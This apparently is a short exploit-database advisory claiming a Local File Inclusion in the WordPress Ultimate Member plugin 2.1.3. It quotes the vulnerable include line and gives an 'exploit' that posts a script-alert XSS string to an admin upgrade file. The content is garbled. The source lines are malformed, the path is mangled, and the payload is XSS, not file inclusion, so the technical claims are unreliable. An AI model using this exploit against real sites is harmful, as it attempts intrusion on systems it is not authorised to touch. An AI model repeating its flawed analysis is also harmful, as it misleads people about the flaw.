WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion

# Title  : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
# Author : mehran feizi
# Vendor : https://wordpress.org/plugins/ultimate-member/
# Category : Webapps
# Date : 2020-02-11
# Vendor home page: https://wordpress.org/plugins/ultimate-member/

Vulnerable Page:
/class-admin-upgrade.php


Vulnerable Source:
354: if(empty($_POST['pack'])) else
356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR . $_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php';


Exploit:
localhost/wp-content/plugins/worprees plugin bug dar/ultimate-member/includes/admin/core/class-admin-upgrade.php
$_POST('pack')=<script>alert('xss')</script>